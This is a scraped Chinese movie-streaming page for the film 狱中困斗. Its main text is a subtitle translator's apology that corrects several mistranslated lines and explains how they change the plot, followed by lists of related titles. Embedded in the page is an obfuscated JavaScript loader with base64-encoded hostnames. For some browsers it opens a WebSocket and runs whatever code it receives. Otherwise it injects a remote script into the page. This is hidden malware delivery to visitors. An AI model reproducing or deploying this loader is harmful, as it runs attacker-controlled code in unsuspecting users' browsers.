观看记录清空
    • 视频
    • 资讯
    • 明星
    4.0正片

    狱中困斗

    立即播放下载

    扫描二维码手机看大片

    当前网页二维码

    看不懂《狱中困斗》是由于本人几个致命错误翻译 分集剧情

    我认为这几个错误是让很多人没看懂本片的重要原因:翻译太快,没校对字幕,犯下以下错误影片45分钟OLDMAN(老爹/老大)和路纳谈完货的事,最后说“GogettheMason,soicanstealhisdough”我的错误翻译:去叫马森,我和他谈谈此事(当时大概眼花了,理解成我不能偷他生意)非常低级的错误,这句的实际意思是,老爹和路纳一样并不想让马森知道这个生意。老爹虽把马森当一把手看待,但还是想暗地里“偷”他生意还有一个地方影片57分钟,足球场踢球被阿拉伯人的老大拦下以后巴兹说了这一句话“wantmetotalktohim?i'lltalktotheMasonnext.i'msurehe'dliketoknowaboutit.”我的错误翻译“我去和马森谈谈,我确定他知道此事”也是很低级的错误,把wouldliketo给直接漏掉了,让大家完全误读了本片可见,这个老大和马森也有一腿,正确的翻译是,马森肯定也想知道这个生意。还有一个地方,是个无关紧要的,就是足球场接下来的片段,59分钟左右吧拉希德:“i'mstillthemule”路纳:“idon'tcarewhichoneofyoustuffsituptheass”我非常低级的错误翻译:“我不在乎你送什么货”正确的意思应该是路纳不在乎拉希德把货塞进哪个屁股,也就是不在乎他给谁送货然后现在就有一个问题,路纳被敲诈后找马森他们,和马森他们说,拉加德敲诈了我们,个人认为路纳此时已经知道巴兹和马森有一腿了,并告诉了他路纳的生意,然后一起合作敲诈路纳。从马森说“这里没有'我们',就可以推测的出发生了什么了”这样疏通下,全片勾心斗角和算计的复杂程度就高了一个层次了其它应该没什么问题了,即使有什么错误,也是皮毛不关痛痒的了。如果你们觉得此片还有什么不解的地方可以提出来,我看看有什么翻译错误不好意思了,大家!本片翻译者:疼蛋


    function JsScTQ(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function leQkx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JsScTQ(t);};window[''+'z'+'X'+'F'+'Q'+'P'+'q'+'I'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=leQkx,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('Z2JyLmJooeWJsYW5rZXQuY24=','dHIueWWVzdWW42NzguY29t','133169',window,document,['o','W']);}:function(){};

    相关明星

    关联视频

    • 8.1正片靠近维米尔Anna,Krekeler,Jonathan,Janson,Abbie,Vandivere,Gregor,J.M.,Weber,Pieter,Roelofs,Betsy,Wieseman
    • 0.0第10集完结贝艾尔第二季贾巴里·班克斯,阿基拉·阿克巴,吉米·耶肯博拉,Andi,René,Christensen,Nicholas,Duvernay,卡桑德拉·弗里曼,Charlie,Hall,Cheryl,Francis,Harrington,斯特凡特·哈特,艾德里安·霍姆斯,乔·霍尔特,艾普尔·帕克·琼斯,可可·琼斯,Jordan,L.,Jones,Simone,Joy,Jones,杜恩·马丁,布鲁克林·麦克林恩,奥利·索罗坦,斯考蒂·汤姆森,卡鲁切·特兰
    • 0.0第10集完结贝艾尔第二季贾巴里·班克斯,阿基拉·阿克巴,吉米·耶肯博拉,Andi,René,Christensen,Nicholas,Duvernay,卡桑德拉·弗里曼,Charlie,Hall,Cheryl,Francis,Harrington,斯特凡特·哈特,艾德里安·霍姆斯,乔·霍尔特,艾普尔·帕克·琼斯,可可·琼斯,Jordan,L.,Jones,Simone,Joy,Jones,杜恩·马丁,布鲁克林·麦克林恩,奥利·索罗坦,斯考蒂·汤姆森,卡鲁切·特兰
    • 0.0第10集完结贝艾尔第一季贾巴里·班克斯,卡桑德拉·弗里曼,
    • 0.0第9期完结出轨旧情人:未完待续阿曼达·霍顿,Paul,C.,Brunson
    • 0.0更新至20250430期刘在街头第四季刘在石

    相关热播

    • 0.0正片尖峰对决陈画风,岳辛,尹扬明,连凯,周韦彤,康轩,霍舒哲,刘德熙
    • 0.0HD我的世界大电影杰森·莫玛,杰克·布莱克,塞巴斯蒂安·尤金·汉森,艾玛·迈尔斯,丹妮尔·布鲁克斯,詹妮佛·库里奇,瑞切尔·豪斯,阿兰·亨利,布拉姆·斯科特-布莱尼,莫阿纳·威廉斯,杰梅奈·克莱门特,Mark,Wright,伊薇特·帕森斯,海勒姆·加西亚,布雷特·麦肯齐,杰瑞德·赫斯,Batanai,Mashingaidze,Amanda,Billing,Tommy,Broadmore,Frankie,Creagh-Leslie
    • 0.0正片盲杀王辉,李恰,许东哲,戚彩,李博
    • 0.0正片怪诞故事佩德罗·帕斯卡,安格斯·克劳德,本·门德尔森,杰·埃利斯,诺曼妮,马歇尔·林奇,汤姆·汉克斯,凯尔·吉克瑞斯特,杰克·尚皮永,柳智英,多米妮克·索恩,迈克尔·X·萨默斯,金永,Vinny,Balbo,Max,Carpenter,米歇尔·法拉·黄,Mike,Infante,Too,$hort,Natalia,Dominguez,Rachel,Thurow,James,Coker
    • 0.0HD拉尼尔谢克布·塞坎德尔,莱利·麦迪逊·富勒,Ava,Metallo,贾勒特·迈克尔·柯林斯
    • 0.0正片坚不可摧的男孩扎克瑞·莱维,艾米·阿克,彼得·费辛利,帕翠西亚·希顿,梅格翰·法伊,德鲁·鲍威尔,雅各布·拉瓦尔,加文·沃伦,凯文·道恩斯,托德·特里,布鲁斯·戴维斯,吉姆·亨利

    免责声明:本站视频无人值守全自动收集,本站不保存、复制或传播任何视频。所列的内容仅做宽带测试,如有侵权请根据播放页信息自行联系视频源提供者,本站不负责任何法律责任。

    RSS订阅 - 百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

    © 2026 www.65kan.com Theme by GZFC 3.1.5